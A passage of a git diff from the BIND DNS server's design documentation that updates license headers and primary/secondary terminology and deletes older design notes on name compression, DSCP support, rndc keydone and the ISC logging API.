-	dns_compress_localinvalidate(dns_compress_t *cctx);
-
-	Free the local RBT.
-
-	void
-	dns_compress_setmethods(dns_compress_t *cctx, unsigned int allowed);
-
-	unsigned int
-	dns_compress_getmethods(dns_compress_t *cctx);
-
-	int
-	dns_compress_getedns(dns_compress_t *cctx);
-
-	dns_result_t
-	dns_name_towire(dns_name_t *name, dns_compress_t *cctx,
-			isc_buffer_t *target);
-
-	'name' contains the current name to be added to the message 'target'.
-	'target' is assumed to only contain the message.
-	'cctx' contains the compression context and has to hold all the
-	information required that cannot be obtained from 'name' or 'target'.
-
-	struct dns_compress {
-		unsigned int allowed;	/* Allowed methods. */
-		unsigned int rdata;	/* Start of local rdata */
-		bool global16;	/* 16 bit offsets allowed */
-		dns_rbt_t *local;	/* Local RBT */
-		dns_rbt_t *global;	/* Global RBT */
-		isc_mem_t *mctx;	/* Required by RBT */
-	};
-
-	sets allowed based on the value of edns.
-
-	bool
-	dns_compress_findglobal(dns_compress_t *cctx, dns_name_t *name,
-				dns_name_t *prefix, dns_name_t *suffix,
-				uint16_t *offset, isc_buffer_t *workspace);
-
-	bool
-	dns_compress_findlocal(dns_compress_t *cctx, dns_name_t *name,
-			       dns_name_t *prefix, dns_name_t *suffix,
-			       uint16_t *offset, isc_buffer_t *workspace);
-
-	Find the best best match in the global / local RBT.  Returns prefix,
-	suffix and offset of the bestmatch.  Findglobal(), findlocal()
-	requires as workspace as it may be necessary to spit a bit stream
-	label.  The result prefix will be such that it can be added to the
-	wire format followed by a compression pointer pointing to offset.
-	Suffix is returned so that it is possible to add the compression
-	pointers via dns_compress_add().
-
-	void
-	dns_compress_add(dns_compress_t *cctx, dns_name_t *prefix,
-			 dns_name_t *suffix, uint16_t offset);
-
-	Add compression pointers pointing to lebels (if any) in prefix.
-	The offset to the first label is passed in offset.
-
-Dependency:
-
-	Requires RBT deepest match.
-	Requires the ability to walk the RBT and remove any node which
-	meets the removal condition.
diff --git a/doc/design/database b/doc/design/database
index 8a8fa58ee0..43cfd13474 100644
--- a/doc/design/database
+++ b/doc/design/database
@@ -1,6 +1,15 @@
+<!--
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
 
 Databases
 
@@ -35,8 +44,8 @@ validation status, may change.
 
 Database Updates
 
-A master zone is updated by a Dynamic Update message.  A slave zone is
-updated by IXFR or AXFR.  AXFR provides the entire contents of the new
+A primary zone is updated by a Dynamic Update message.  A secondary zone
+is updated by IXFR or AXFR.  AXFR provides the entire contents of the new
 zone version, and replaces the entire contents of the database.  IXFR
 and Dynamic Update, although completely different protocols, have the
 same basic database requirements.  They are differential update
diff --git a/doc/design/db_rules b/doc/design/db_rules
index 8496f34aa5..421c0c4ca9 100644
--- a/doc/design/db_rules
+++ b/doc/design/db_rules
@@ -1,6 +1,15 @@
+<!--
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
 
 Here is a more formal statement of the important database design
 rules.  Each rule has a 5 character mnemonic, for use in source code
diff --git a/doc/design/decompression b/doc/design/decompression
deleted file mode 100644
index 8246ac657a..0000000000
--- a/doc/design/decompression
+++ /dev/null
@@ -1,98 +0,0 @@
-Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
-
-			Name Decompression
-
-Overview.
-
-	There are 4 type of compression: global 14 bit, global 16 bit,
-	local 14 bit and local 16 bit.
-
-	In general the resolver / nameserver should accept any compression
-	method at any time regardless of whether it was legal to
-	send it.  This fits with the principle of being liberal with
-	what you accept and strict with what you send.
-
-	There are a few cases where it does not make sense to accept
-	compression pointers of a given type. i.e. the first domain name
-	in a message, local compression pointers in the ownername of a RR
-	or in a question.
-
-	When performing regression testing however we should be as strict
-	as possible.  Hence we need to be able modify the behaviour of the
-	decompression routines.
-
-	To be able to decompress a domain name we need some or all of the
-	following pieces of information.
-
-	1. where the message starts.
-	2. where the current rdata starts in the message (local compression).
-	3. what the current owner name is (local compression).
-	4. where the domainname we are decompressing starts.
-	5. what are allowable decompression method. These vary across type
-	   and edn version.
-
-Implementation:
-
-	dns_rdata_fromwire will set the allowed decompression methods allowed
-	by looking at edns, strict and the type values.
-
-Types:
-	struct dns_decompress {
-		unsigned int	magic;
-		unsigned int	allowed;
-		int		edns;
-		dns_name_t 	owner_name;
-		unsigned int	rdata;
-		bool	strict;
-	}
-
-Functions:
-
-	void
-	dns_decompress_init(dns_decompress_t *dctx, int edns,
-			    bool strict);
-	initialise dctx
-	dctx->ownername is invalidated
-
-	void
-	dns_decompress_localinit(dns_decompress_t *dctx, dns_name_t *name,
-				 isc_buffer_t *source);
-	initialise dctx->ownername
-	record source->current to dctx->rdata
-
-	void
-	dns_decompress_invalidate(dns_decompress_t *dctx);
-
-	invalidate dctx
-
-	void
-	dns_decompress_localinvalidate(dns_decompress_t *dctx);
-
-	invalidate dctx->ownername
-
-	void
-	dns_decompress_setmethods(dns_decompress_t *dctx, unsigned int allowed);
-
-	sets dctx->allowed
-
-	unsigned int
-	dns_decompress_getmethods(dns_decompress_t *dctx);
-
-	returns dctx->allowed
-
-	int
-	dns_decompress_edns(dns_decompress_t *dctx);
-
-	returns dctx->edns
-
-	bool
-	dns_decompress_strict(dns_decompress_t *dctx);
-
-	returns dctx->strict
-
-	dns_result_t
-	dns_name_fromwire(dns_name_t *name, isc_buffer_t *source,
-			  dns_decompress_t *dctx, bool downcase,
-			  isc_buffer_t *target)
diff --git a/doc/design/dispatch b/doc/design/dispatch
index 4267667013..f42bafd67f 100644
--- a/doc/design/dispatch
+++ b/doc/design/dispatch
@@ -1,6 +1,15 @@
+<!--
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
 
 UDP receive:
 
diff --git a/doc/design/dnssec-policy b/doc/design/dnssec-policy
index 344863e403..e70114dfa8 100644
--- a/doc/design/dnssec-policy
+++ b/doc/design/dnssec-policy
@@ -1,6 +1,15 @@
+<!--
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
 
 # DNSSEC Key and Signing Policy
 
@@ -80,7 +89,7 @@ is set for a zone.
    `dnssec-policy` statement will override the existing `max-zone-ttl` value.
 
 1. `sig-signing-nodes`: This specifies the number of nodes to be examined
-   in a quantum when signing a zone with a new DNSKEY.  This presumable is 
+   in a quantum when signing a zone with a new DNSKEY.  This presumable is
    to avoid keeping the database connection open for a long time.  With the
    current database approach this probably needs to stay.
 
diff --git a/doc/design/dscp b/doc/design/dscp
deleted file mode 100644
index 800ad8c725..0000000000
--- a/doc/design/dscp
+++ /dev/null
@@ -1,134 +0,0 @@
-Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
-
-	Differentiate Services Code Point Support
-
-Differentiate Services Code Point (DSCP) is implemented in IPv4 using the
-TOS octet and in IPv6 using the TCLASS octet.
-
-RFC 3542 defines the api to manipulate the TCLASS octet as part of
-the advanced socket API.  TCLASS is settable on both a socket and
-packet basis (setsockopt/sendmsg) and the sent value can be retrieved
-using recvmsg over UDP.  Retrieval is undefined for TCP.
-
-The Advanced socket API was not incorporated into the POSIX socket
-API for IPv6 and may not be completely implemented in any OS.
-
-For TOS setsockopt() supports setting of the field on a persocket
-basis.  TOS may also be set on a per packet basis on some OS using
-sendmsg.  If it is not supported the sendmsg call reports a error.
-Support can only be determined by attempted to send a packet with
-the option set.  Retrieval of the sent TOS value is retrievable on
-Linux.  This can be determined at compile time.
-
-DSCP values need to be compatible with TOS values as it is a re-use
-of the field.
-
-LIBISC:
-
-We will need to be able to probe for the level of DSCP support.  We
-need to know if we can set it at the socket level, packet level and
-if we can retrieve the DSCP value sent.  This needs to be done
-independently for IPv4 and IPv6.
-
-#define ISC_NET_DSCPRECVV4      0x01    /* Can receive sent DSCP value IPv4 */
-#define ISC_NET_DSCPRECVV6      0x02    /* Can receive sent DSCP value IPv6 */
-#define ISC_NET_DSCPSETV4       0x04    /* Can set DSCP on socket IPv4 */
-#define ISC_NET_DSCPSETV6       0x08    /* Can set DSCP on socket IPv6 */
-#define ISC_NET_DSCPPKTV4       0x10    /* Can set DSCP on per packet IPv4 */
-#define ISC_NET_DSCPPKTV6       0x20    /* Can set DSCP on per packet IPv6 */
-#define ISC_NET_DSCPALL         0x3f    /* All valid flags */
-
-unsigned int
-isc_net_probedscp(void);
-/*%<
- * Probe the level of DSCP support.
- */
-
-We also need to be able to set DSCP values on a per socket basis, per packet
-basis and to retrieve dscp values from received packet.
-
-Setting dscp on a per socket basis shall be done using isc_socket_dscp.
-
-void
-isc_socket_dscp(isc_socket_t *sock, unsigned int dscp);
-/*%<
- * Requires:
- *\li   'sock' is a valid socket.
- */
-/*@}*/
-
-isc_socketevent shall be extended to support the sending of and retrieval
-of DSCP values.  If ISC_SOCKEVENTATTR_DSCP is set then isc_socket_sendto2
-shall set the DSCP value.  isc_socket_recv shall set ISC_SOCKEVENTATTR_DSCP
-and the dscp element if the OS returns the value via recvmsg.
-
-#define ISC_SOCKEVENTATTR_DSCP                  0x00040000U /* public */
-
-struct isc_socketevent {
-        ISC_EVENT_COMMON(isc_socketevent_t);
-        isc_result_t            result;         /*%< OK, EOF, whatever else */
-        unsigned int            minimum;        /*%< minimum i/o for event */
-        unsigned int            n;              /*%< bytes read or written */
-        unsigned int            offset;         /*%< offset into buffer list */
-        isc_region_t            region;         /*%< for single-buffer i/o */
-        isc_bufferlist_t        bufferlist;     /*%< list of buffers */
-        isc_sockaddr_t          address;        /*%< source address */
-        isc_time_t              timestamp;      /*%< timestamp of packet recv */
-        struct in6_pktinfo      pktinfo;        /*%< ipv6 pktinfo */
-        uint32_t            attributes;     /*%< see below */
-        isc_eventdestructor_t   destroy;        /*%< original destructor */
-        unsigned int            dscp;           /*%< UDP dscp value */
-};
-
-A convenience function will be provided to allocate and initialize the structure.
-
-isc_socketevent_t *
-isc_socket_socketevent(isc_socket_t *sock0, isc_eventtype_t eventtype,
-                       isc_taskaction_t action, const void *arg)
-
-NAMED/LIBDNS:
-
-Named needs to be able to set the DSCP value of sent traffic.  We should
-be able to set DSCP for all TCP connections.
-
-For UDP we should have a default DSCP value for when we can't set this on
-a per packet basis with the ability to override for specific destinations.
-
-options/view/server;
-tcp-dscp <value>;
-udp-dscp <value>;
-
-http://bogpeople.com/networking/dscp.shtml list a set of TOS compatible
-values (below).
-
-DSCP Name	DS Field Value	IP Precedence
-                Binary	Decimal
-CS0		000 000	0	0
-CS1		001 000	8	1
-AF11		001 010	10	1
-AF12		001 100	12	1
-AF13		001 110	14	1
-CS2		010 000	16	2
-AF21		010 010	18	2
-AF22		010 100	20	2
-AF23		010 110	22	2
-CS3		011 000	24	3
-AF31		011 010	26	3
-AF32		011 100	28	3
-AF33		011 110	30	3
-CS4		100 000	32	4
-AF41		100 010	34	4
-AF42		100 100	36	4
-AF43		100 110	38	4
-CS5		101 000	40	5
-EF		101 110	46	5
-CS6		110 000	48	6
-CS7		111 000	56	7
-
-CS	Class Selector (RFC 2474)
-AFxy	Assured Forwarding (x=class, y=drop precedence) (RFC2597)
-EF	Expedited Forwarding (RFC 3246)
-
-value should be one of these or a numeric 0..63.  The default value is 0.
diff --git a/doc/design/keydone b/doc/design/keydone
deleted file mode 100644
index 212d0bde0f..0000000000
--- a/doc/design/keydone
+++ /dev/null
@@ -1,32 +0,0 @@
-Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
-
-        rndc keydone <rdata> zone [class [view]]
-
-        e.g.
-                rndc keydone 0549E00001 example
-
-        Last 4 characters need to be 0001 (00=no flags, 01=done)
-        First 2 characters (algorithm) not 00 (algorithm 0 which
-        is reserved, 00 => NSEC3PARAMETERS are encoded in the record)
-        All hexadecimal case insensitive.  length 10.
-                Err: DNS_R_SYNTAX
-
-        The control code will select the zone based on 'zone [class
-        [view]]'.
-                Err: DNS_R_NOTFOUND
-
-        zone must be a master (signed inline == master) or normal
-        dynamic zone.
-                Err: DNS_R_NOTMASTER
-
-        dns_zone_<something>(zone, text) which will send a event
-        to the zone so that the deletion gets run in the zone's
-        task.  The event handler will delete the record, update the
-        SOA and write out the journal.
-                Err: ISC_R_NOMEMORY
-
-        'zone' can refer to a normal dynamic master zone or a inline
-        zone.
-
diff --git a/doc/design/logging b/doc/design/logging
deleted file mode 100644
index 74087eec56..0000000000
--- a/doc/design/logging
+++ /dev/null
@@ -1,494 +0,0 @@
-Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
-
-OVERVIEW
-
-The ISC logging system is designed to provide a flexible, extensible
-method of writing messages.  Messages can be sent to the system's
-logging facility, directly to a file, or into the bitbucket, usually
-configured per the desires of the users of the program.  Each message
-is associated with a particular category (eg, "security" or
-"database") that reflects its nature, and a particular module (such as
-the library's source file) that reflects its origin.  Messages are
-also each assigned a priority level which states how remarkable the
-message is, so that too can be configured by the program's user to
-control how much detail is desired.
-
-Libraries which use the ISC logging system can be linked against each
-other without fear of conflict.  A program is able to select which, if
-any, libraries will write log messages.
-
-FUNDAMENTALS
-
-This section describes the basics of how the system works, introduces
-terms and defines C preprocessor symbols used in conjunction with
-logging functions.  Actual uses of functions are demonstrated in the
-following two sections.
-
-Log messages are associated with three pieces of information that are
-used to determine their disposition:  a category, a module, and a
-level (aka "priority").
-
-A category describes the conceptual nature of the message, that is,
-what general aspect of the code it is concerned with.  For example,
-the DNS library defines categories that include the workings of the
-database as well security issues.  Macros for naming categories are
-typically provided in the library's log header file, such as
-DNS_LOGCATEGORY_DATABASE and DNS_LOGCATEGORY_SECURITY in <dns/log.h>
-for the two categories in the previous sentence.  The special category
-ISC_LOGCATEGORY_DEFAULT is associated with any message that does not
-match a particular category (or matches a category but not a module,
-as seen in the next paragraph).
-
-A module is loosely the origin of a message.  Though there not be a
-one-to-one correspondence of source files with modules, it is typical
-that a module's name reflect the source file in which it is used.  So,
-for example, the module identifier DNS_LOGMODULE_RBT would be used by
-messages coming from within the dns/rbt.c source file.
-
-The specification of the combination of a category and a module for a
-message are called the message's "category/module pair".
-
-The level of a message is an indication of its severity.  There are
-six standard logging levels, in order here from most to least severe
-(least to most common):
-  ISC_LOG_CRITICAL      -- An error so severe it causes the program to exit.
-  ISC_LOG_ERROR         -- A very notable error, but the program can go on.
-  ISC_LOG_WARNING       -- Something is probably not as it should be.
-  ISC_LOG_NOTICE        -- Notable events that occur while the program runs.
-  ISC_LOG_INFO          -- Statistics, typically.
-and finally:
-  ISC_LOG_DEBUG(unsigned int level)     -- detailed debugging messages.
-
-ISC_LOG_DEBUG is not quite like the others in that it takes an
-argument the defines roughly how detailed the message is; a higher
-level means more copious detail, so that values near 0 would be used
-at places like the entry to major sections of code, while greater
-numbers would be used inside loops.
-
-So, ok, technically there are five + at least 4,294,967,296 levels.
-Picky picky.  In any event, the six levels correspond with similar
-levels used by Unix's syslog, and when messages using one of those
-levels is sent to syslog, the equivalent syslog level is used.  (Note
-that this means that any debugging messages go to the singular
-LOG_DEBUG priority in syslog, regardless of their level internal to
-the ISC logging system.)
-
-The next building block of the logging system is a channel.  A channel
-specifies where a message of a particular priority level should go, as
-well as any special options for that destination.  There are four
-basic destinations, as follows:
-
-  ISC_LOG_TOSYSLOG      -- Send it to syslog.
-  ISC_LOG_TOFILE        -- Write to a file.
-  ISC_LOG_TOFILEDESC    -- Write to a (previously opened) file descriptor.
-  ISC_LOG_TONULL        -- Do not write the message when selected.
-
-A file destination names a path to a log file.  It also specifies the
-maximum allowable byte size of the file before it is closed (where 0
-means no limit) and the number of versions of a file to keep (where
-ISC_LOG_ROLLNEVER means the logging system never renames the log file,
-and ISC_LOG_ROLLINFINITE means no cap on the number of versions).
-Version control is done just before a file is opened, so a program
-that used it would start with a fresh log file (unless using
-ISC_LOG_ROLLNEVER) each time it ran.  If you want to use an external
-rolling method, use ISC_LOG_ROLLNEVER and ensure that your program has
-a mechanism for calling isc_log_closefilelogs().
-
-(ISC_LOG_ROLLINFINITE is not truly infinite; it will stop at INT_MAX.
-On 32 bit machines that means the logs would need to roll once per
-second for more than sixty years before exhausting the version number
-space.)
-
-A file descriptor destination is simply associated with a previously
-opened stdio file descriptor.  This is mostly used for associating
-stdout or stderr with log messages, but could also be used, for
-example, to send logging messages down a pipe that has been opened by
-the program.  File descriptor destinations are never closed, have no
-maximum size limit, and do not do version control.
-
-Syslog destinations are associated with the standard syslog facilities
-available on your system.  They too have no maximum size limit and do
-no version control.
-
-Since null channels go nowhere, no additional destination
-specification is necessary.
-
-The words "destination" and "channel" can be used interchangeably in
-some contexts.  Referring to a file channel, for example, means a
-channel that has a file destination.
-
-Channels have string names that are their primary external reference.
-There are four predefined logging channels:
-
-  "default_stderr" -- Descriptor channel to stderr at priority ISC_LOG_INFO
-  "default_debug"  -- Descriptor channel to stderr at priority ISC_LOG_DYNAMIC
-  "default_syslog" -- Syslog channel to LOG_DAEMON at priority ISC_LOG_INFO
-  "null"           -- Null channel
-
-What's ISC_LOG_DYNAMIC?  That's how you tell the logging system that
-you want debugging messages, but only at the current debugging level
-of the program.  The debugging level is controlled as described near
-the end of the next section.  When the debugging level is 0 (turned
-off), then no debugging messages are written to the channel.  If the
-debugging level is raised, only debugging messages up to its level are
-written to the channel.
-
-You can reuse a channel name.  If you define a channel with the same
-name as an existing channel, the new definition is used by all future
-references to the name.  The old definition is still used by anything
-that was pointing to the name before the redefinition.  This even
-applies to redefinitions of the predefined channels, with one
-exception:  redefining default_stderr will change the default
-destination of messages, as explained in more detail in a few paragraphs.
-
-Channels can additionally have any of five options associated with
-them.  The following options are listed in the order which their
-corresponding print strings appear in a log message:
-
-  ISC_LOG_PRINTTIME     -- The date and time.
-  ISC_LOG_PRINTCATEGORY -- The category name.
-  ISC_LOG_PRINTMODULE   -- The module name.
-  ISC_LOG_PRINTLEVEL    -- The level.
-
-You can set all four of those options with ISC_LOG_PRINTALL.
-
-Syslog channels do not need ISC_LOG_PRINTTIME, but it is usually a good
-idea for file and file descriptor feeds.
-
-The additional option does not affect formatting.  It is
-ISC_LOG_DEBUGONLY, and marks a channel as only being eligible for
-messages when the debugging level is non-zero.  It acts like the
-null channel when the debugging level is zero.
-
-Now with these objects -- the category, module, and channel -- you can
-actually direct messages to your desired destinations.  As shown in
-the next section, you associate the category/module pair with a
-channel.  It is possible to use one function call to say "all modules
-coupled with this category" and vice versa, but conceptually the
-matching is still referred to as applying to category/module pairs,
-since that is what comes in from functions writing messages.
-
-Speaking of functions writing messages, here's what happens when a
-function wants to write a message through the logging system.  First
-the function calls isc_log_write(), specifying a category, module and
-level.
-
-In isc_log_write(), the logging system first looks up a list that
-consists of all of the channels associated with a particular category.
-It walks down the list looking for each channel that also has the
-indicated module associated with it, and writes the message to each
-channel it encounters.  If no match is found in the list for the
-module, the default channel is used.  Similarly, the default is used
-if no channels have been specified for the category at all.
-
-What is the default?  It is ISC_LOGCATEGORY_DEFAULT -- sort of.  You
-can specify an association of the channel ISC_LOGCATEGORY_DEFAULT with
-any particular module, or more usually all of them, and that's what
-will be used for any category/module pair for which you have not
-specified a channel.  If you do not associate ISC_LOGCATGORY_DEFAULT
-and the indicated module, then the internal default of using the
-default_stderr channel is used.  This brings us back to the statement
-made a few paragraphs ago about redefining the predefined channels --
-if you redefine default_stderr, and a messages comes in for a
-category/module pair that has had neither its original pair or
-the ISC_LOGCATEGORY_DEFAULT/module pair configured for it, then the
-message will go to the _new_ definition of default_stderr.
-
-Here are some other ways to think about how category/module pairs get
-matched with regard to using the defaults:
-
-  If a channel is is specified for a category as applying to all modules
-  which use that category, then the default channel will be used for no
-  combination of that category with any module.
-
-  If a category is specified with one or more explicit modules, any
-  modules _not_ using that category still use the default.
-
-As with the BIND 8 logging code, when a log message is not written
-because the of the severity level of the channel, the default is _not_
-used, because the category and module are considered to have matched.
-The default is only used when a category/module pair has not been
-specified.  If you want to use the default for some messages but also
-send higher (lower?) priority messages someplace else, then you will
-need to specify both the default channel and a custom channel for that
-category/module pair.
-
-It is important to note that specifying a null destination for a
-category/module pair has no effect on any other destinations
-associated with that pair, regardless of ordering.  For example,
-though it seems reasonable, you cannot say "for category A and all
-modules, log to stderr, but for category A and module 2 don't show any
-messages."  You would need to specify stderr for category A with all
-modules except module 2, and then specify null for A/2.  This could be
-inconvenient, especially if you do not know all of the modules
-associated with a particular category but you know the one you want to
-shut up.  Because of this, it is likely that specifying a null
-destination _will_ block other channels that also specify a particular
-category/module pair, but the exact mechanism has not yet been
-determined.
-
-No attempt is made to filter out duplicate destinations, so it is
-certainly possible to define things such that a single log gets more
-than one copy of the same message.  This may change in the future.
-
-EXTERNALLY VISIBLE STRUCTURE
-
-Two of the fundamental types used by programs for configuring log
-message destinations are isc_log_t and isc_logconfig_t.  The isc_log_t
-type is normally created only once by a program, to hold the (relatively)
-static information about what categories and modules exist in the program
-and some other housekeeping information.  isc_logconfig_t is used to
-store the configurable specification of message destinations, which
-can be changed during the course of the program.
-
-A starting configuration (isc_logconfig_t) is created implicitly when
-the context (isc_log_t) is created.  The pointer to this configuration
-is returned via a parameter to isc_log_create so that it can then be
-configurated.  A new configuration can be established by creating
-it with isc_logconfig_create, configuring it, then installing it as
-the active configuration with isc_logconfig_use.
-
-MULTITHREADED PROGRAMS
-
-The entire logging context is thread locked for most of duration of
-the isc_log_write.   However, isc_log_write does avoid the delays
-caused by locking when it is clear that there are no possible outputs
-for a message based on its debugging level --- this is so that a
-program can have debugging messages sprinkled liberally throughout it
-but not incur any locking penalty when debugging is not enabled.
-
-The logging context is locked when a new configuration is installed
-by isc_logconfig_use.
-
-USING LIBRARIES THAT USE THE LOGGING SYSTEM
-
-To enable the messages from a library that uses the logging system,
-the following steps need to be taken to initialize it.
-
-1) Include the main logging header file as well as the logging header
-file for any additional library you are using.  For example, when
-using the DNS library, include the following:
-
-  #include <isc/log.h>
-  #include <dns/log.h>
-
-2) Initialize a logging context.  A logging context needs a valid
-memory context in order to work, so the following code snippet shows a
-rudimentary initialization of both.
-
-  isc_mem_t *mctx;
-  isc_log_t *lctx;
-  isc_logconfig_t *lcfg;
-
-  isc_mem_create(&mctx);
-  isc_log_create(mctx, &lctx, &lcfg);
-
-3) Initialize any additional libraries.  The convention for the name of
-the initialization function is {library}_log_init, with just a pointer
-to the logging context as an argument.  The function can only be
-called once in a program or it will generate an assertion error.
-
-  dns_log_init(lctx);
-
-If you do not want a library to write any log messages, simply do not
-call its the initialization function.
-
-4) Create any channels you want in addition to the internal channels
-of default_syslog, default_stderr, default_debug and null.  A
-destination structure needs to be filled for any destination other
-than null.  The following examples show use of a file log, a file
-descriptor log, and syslog.
-
-  isc_logdestination_t destination;
-
-  destination.file.name = "/var/log/example";
-  destination.file.maximum_size = 0;              /* No byte limit. */
-  destination.file.versions = ISC_LOG_ROLLNEVER;  /* External rolling. */
-  if (isc_log_createchannel(lcfg, "sample1" ISC_LOG_TOFILE, ISC_LOG_DYNAMIC,
-                            &destination, ISC_LOG_PRINTTIME) != ISC_R_SUCCESS)
-          oops_it_didnt_work();
-
-  destination.file.stream = stdout;
-  if (isc_log_createchannel(lcfg, "sample2" ISC_LOG_TOFILEDESC, ISC_LOG_INFO,
-                            &destination, ISC_LOG_PRINTTIME) != ISC_R_SUCCESS)
-          oops_it_didnt_work();
-
-  destination.facility = LOG_ERR;
-  if (isc_log_createchannel(lcfg, "sample3" ISC_LOG_SYSLOG, ISC_LOG_ERROR,
-                            &destination, 0) != ISC_R_SUCCESS)
-          oops_it_didnt_work();
-
-Note that ISC_LOG_DYNAMIC is used to define a channel that wants any
-of the messages up to the current debugging level of the program
-(described below).  ISC_LOG_DEBUG(level) can define a channel that
-_always_ gets messages up to the debug level specified, regardless of
-the debugging state of the server.
-
-Remember that you can redefine these internal channels, and that in
-particular redefining default_stderr will change the default logging
-method.
-
-5) Direct the various log categories and modules to the desired
-destination.  This step is not necessary if the normal behavior of
-sending all messages to default_stderr is acceptable.  The following
-examples sends DNS security messages to stderr, DNS database messages
-to null, and all other messages to syslog.
-
-  if (isc_log_usechannel(lcfg, "default_stderr", DNS_LOGCATEGORY_SECURITY,
-                         NULL) != ISC_R_SUCCESS)
-          oops_it_didnt_work();
-
-  if (isc_log_usechannel(lcfg, "null", DNS_LOGCATEGORY_DATABASE, NULL)
-      != ISC_R_SUCCESS)
-          oops_it_didnt_work();
-
-  if (isc_log_usechannel(lcfg, "default_syslog", ISC_LOGCATEGORY_DEFAULT,
-                         NULL) != ISC_R_SUCCESS)
-          oops_it_didnt_work();
-
-Providing a NULL argument for the category means "associate the
-channel with the indicated module in all known categories" ---
-including ISC_CATEGORY_DEFAULT.  Providing a NULL argument for the
-module means "associate the channel with all modules that use this
-category."
-
-6) If you are sending any messages to syslog, call
-isc_log_opensyslog().  Currently the arguments to this function are
-exactly the same as to syslog's openlog() function, but it is expected
-that this will change when the logging library is made to work with the
-system logging facility on Windows NT.
-
-  isc_log_opensyslog(NULL, LOG_PID, LOG_DAEMON);
-
-Now the libraries used by your program will write messages according
-to your specifications.
-
-7) If you want to swap in a new configuration to replace the existing
-configuration, first create the new configuration with:
-
-  result = isc_logconfig_create(lctx, &newlcfg);
-
-and then configure newlcfg with isc_log_createchannel() and
-isc_log_usechannel().  When it is all ready:
-
-  isc_logconfig_use(lctx, newlcfg);
-
-If the new configuration is successfully installed, then the old one
-will be destroyed, freeing all memory it used.
-
-There are three additional functions you might find useful in your
-program to control logging behavior, two to work with the debugging
-level and one to control the closing of log files.
-
-void isc_log_setdebuglevel(isc_log_t *lctx, unsigned int level) and
-unsigned int isc_log_getdebuglevel(isc_log_t *lctx) set and retrieve
-the current debugging level of the program.  isc_log_getdebuglevel()
-can be used so that you need not keep track of the level yourself in
-another variable.  One use for these functions would be in a daemon
-that could have its debugging level raised with a USR1 signal or lowered
-with a USR2 signal.
-
-The void isc_log_closefilelogs(isc_log_t *lcxt) function closes any
-open log files.  This is useful for programs that do not want to do
-file rotation as with the internal rolling mechanism.  For example, a
-program that wanted to keep daily logs would define a channel which
-used ISC_LOG_ROLLNEVER, then once a day would rename the log file and
-call isc_log_closefilelogs().  The next time a message needs to be
-written a file that has been closed, it is reopened.
-
-WRITING LIBRARIES THAT USE THE LOGGING SYSTEM
-
-This section describes how a new library, libfoo.a, would use the ISC
-logging system internally.
-
-1) Provide a header file that does the following:
-  * includes isc/log.h
-  * declares foo_lctx, a logging context that will be used throughout
-        the library.
-  * declares the structures that specify the categories and modules
-        known by the library.
-  * defines the macros that provide convenient access to the library's
-        categories and modules.
-  * prototypes the library's log initialization function.
-
-  See <dns/log.h> for a sample.
-
-2) Write a C source module that includes the library's log.h,
-  provides storage for the library's logging context,
-  initializes the category and module structures, and defines the
-  initialization function, foo_log_init().  log.c from libdns.a looks
-  like this (trimmed down):
-
-  #include <isc/result.h>
-  #include <isc/log.h>
-  #include <dns/log.h>
-
-  isc_logcategory_t dns_categories[] = {
-          { "dns_general", 	0 },
-          { "dns_database", 	0 },
-          { "dns_security", 	0 },
-          { NULL, 		0 }
-  };
-  isc_logmodule_t dns_modules[] = {
-          { "db", 	0 },
-          { "rbtdb", 	0 },
-          { NULL, 	0 }
-  };
-
-  isc_log_t *dns_lctx;
-
-  dns_result_t
-  dns_log_init(isc_log_t *lctx) {
-          isc_result_t result;
-
-          REQUIRE(dns_lctx == NULL);
-
-          result = isc_log_registercategories(lctx, dns_categories);
-
-          if (result == ISC_R_SUCCESS) {
-                  isc_log_registermodules(lctx, dns_modules);
-                  dns_lctx = lctx;
-          }
-
-          return (result);
-  }
-
-Note that the init function is what associates that library's logging
-context with the one that the calling program must create and
-initialize.  If the init function is never called, the library's
-logging context will be NULL, so any calls by other library functions
-to log messages will simply return with no message being written.
-
-3) Use the isc_log_write() function to have messages written according
-to the definitions in the logging context.  Its arguments are the
-logging context, a category, a module, a logging level, a printf(3)
-format string, and any additional arguments that are necessary for the
-format string.  For example:
-
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL, DNS_LOGMODULE_RBT,
-		      ISC_LOG_CRITICAL, "%s",
-		      "Node %d in red-black tree is crimson!", node);
-
-No newline should be included, nor should the program name.  Usually
-the source file name or the function name should not be included
-either, since location information can be attained, if desired, with
-ISC_LOG_PRINTMODULE.  On rare occasion it might be necessary to
-differentiate very similar messages in the same module.
-
